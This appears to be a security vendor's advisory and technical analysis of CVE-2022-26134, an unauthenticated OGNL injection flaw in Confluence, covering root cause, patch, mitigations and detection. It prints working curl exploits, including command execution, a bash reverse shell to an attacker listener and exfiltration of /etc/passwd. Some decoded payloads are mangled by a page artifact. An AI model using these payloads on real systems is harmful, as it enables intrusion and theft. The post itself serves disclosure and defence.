Last updated at Tue, 07 Jun 2022 00:00:36 GMT

On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability was unpatched when it was published on June 2. As of June 3, both patches and a temporary workaround are available.

CVE-2022-26134 is being actively and widely exploited in the wild. Rapid7's Managed Detection and Response (MDR) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.

All supported versions of Confluence Server and Data Center are affected.
Atlassian updated their advisory on June 3 to reflect that it's likely that all versions (whether supported or not) of Confluence Server and Data Center are affected, but they have yet to confirm the earliest affected version. Organizations should install patches OR apply the workaround on an emergency basis. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.

Technical analysis

CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.

Last year, Atlassian Confluence suffered from a different unauthenticated and remote OGNL injection, CVE-2021-26084. Organizations maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.

The vulnerability

As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:

curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/

Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:

${@[email protected]().exec("touch /tmp/r7")}

Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log contains the following entry after exploitation:

[02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0

Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of whoami in the attacker-created X-Cmd-Response HTTP field (credit to Rapid7’s Brandon Turner for the exploit below). Note the X-Cmd-Response: confluence line in the HTTP response:

curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
*   Trying 10.0.0.28:8090...
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence 
< Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Thu, 02 Jun 2022 23:28:23 GMT
< 
* Connection #0 to host 10.0.0.28 left intact

Decoding the exploit in the curl request shows how this is achieved. The exploit saves the output of the exec call and uses setHeader to include the result in the server’s response to the attacker.

${(#[email protected]@toString(@[email protected]().exec("whoami").getInputStream(),"utf-8")).(@[email protected]().setHeader("X-Cmd-Response",#a))}

Root cause

Our investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from HttpServlet.service to OgnlValueStack.findValue and beyond.

at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)
at ognl.SimpleNode.getValue(SimpleNode.java:193)
at ognl.Ognl.getValue(Ognl.java:333)
at ognl.Ognl.getValue(Ognl.java:310)A
at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)
at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)
at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)

OgnlValueStack findValue(str) is important as it is the starting point for the OGNL expression to be evaluated. As we can see in the call stack above, TextParseUtil.class invokes OgnlValueStack.findValue when this vulnerability is exploited.

public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability. Just a reminder that there is nothing new in this world.

The patch

On June 3, 2022, Atlassian directed customers to replace xwork-1.0.3.6.jar with a newly released xwork-1.0.3-atlassian-10.jar. The xwork jars contain the ActionChainResult.class and TextParseUtil.class we identified as the path to OGNL expression evaluation.

The patch makes a number of small changes to fix this issue. For one, namespace is no longer passed down to TextParseUtil.translateVariables from ActionChainResult.execute:

Before:

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

After:

  public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
      this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

Atlassian also added SafeExpressionUtil.class to the xworks jar. SafeExpressionUtil.class provides filtering of unsafe expressions and has been inserted into OgnlValueStack.class in order to examine expressions when findValue is invoked. For example:

  public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

Payloads

The OGNL injection primitive gives attackers many options. Volexity’s excellent Zero-Day Exploitation of Atlassian Confluence discusses JSP webshells being dropped to disk. However, Confluence Server should typically execute as confluence and not root. The confluence user is fairly restricted and unable to introduce web shells (to our knowledge).

Java does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It’s impossible to demonstrate all here, but a reverse shell routed through Java’s Nashorn engine is, perhaps, an interesting place for others to explore.

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Decoded, the exploit looks like the following:

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}

And results in a reverse shell:

[email protected]:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37148
bash: cannot set terminal process group (34470): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
[email protected]:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence) gid=1002(confluence) groups=1002(confluence)
[email protected]:/opt/atlassian/confluence/bin$

Of course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software. Executing in memory only is least likely to get an attacker caught. As an example, we put together a simple exploit that will read /etc/passwd and exfiltrate it to the attacker without shelling out.

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.get%28%27/etc/passwd%27%29%29%29%3Bvar%20sock%20%3D%20new%20java.net.Socket%28%2710.0.0.28%27%2C%201270%29%3B%20var%20output%20%3D%20new%20java.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/

When decoded, the reader can see that we again have relied on the Nashorn scripting engine.

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}

Again, the attacker is listening for the exfiltration which looks, as you’d expect, like /etc/passd:

[email protected]:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37162
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
… truncated …

Finally, note that the exploit could be entirely URI-encoded as well. Writing any type of detection logic that relies on just the ASCII form will be quickly bypassed.

Mitigation guidance

Atlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the advisory. A temporary workaround for CVE-2022-26134 is also available—note that the workaround must be manually applied. Detailed instructions are available in Atlassian's advisory for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.

Organizations should install patches OR apply the workaround on an emergency basis. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately. We recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.

If you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. For example, see the JavaDeserializationRCE_BODY, JavaDeserializationRCE_URI, JavaDeserializationRCE_QUERYSTRING, and JavaDeserializationRCE_HEADER rules described here.

Rapid7 customers

InsightVM and Nexpose: Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:

  • A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3
  • A remote version check (atlassian-confluence-cve-2022-26134) available in the 9 PM EDT content-only release on June 3

InsightIDR: Customers should look for alerts generated by InsightIDR's built-in detection rules from systems monitored by the Insight Agent. Alerts generated by the following rules may be indicative of related malicious activity:

  • Confluence Java App Launching Processes

The Rapid7 MDR (Managed Detection & Response) SOC is monitoring for this activity and will escalate confirmed malicious activity to managed customers immediately.

tCell: Customers leveraging the Java App Server Agent can protect themselves from exploitation by using the OS Commands block capability. For customers leveraging a Web Server Agent, we recommend creating a block rule for any url path starting with ${ or %24%7B.

Updates

June 3, 2022 11:20 AM EDT: This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that all versions (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.

June 3, 2022 11:45 AM EDT: Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied. Detailed instructions are available in Atlassian's advisory for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.

June 3, 2022 1:15 PM EDT: Atlassian has released patches for CVE-2022-26134. A full list of fixed versions is available in their advisory. Rapid7 recommends applying patches OR the temporary workaround (manual) on an emergency basis.

June 3, 2022 3:15 PM EDT: A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose customers is in active development with a release targeted for this afternoon.

June 3, 2022 3:30 PM EDT: InsightVM and Nexpose customers can assess their exposure to CVE-2022-26134 with a remote vulnerability check in today's (June 3, 2022) content release.

June 6, 2022 10 AM EDT: A second content release went out the evening of Friday, June 3 containing a remote version check for CVE-2022-26134. This means InsightVM and Nexpose customers are able to assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks.

Attacker activity targeting on-premise instances of Confluence Server and Confluence Data Center has continued to increase. Organizations that have not yet applied the patch or the workaround should assume compromise and activate incident response protocols in addition to remediating CVE-2022-26134 on an emergency basis.

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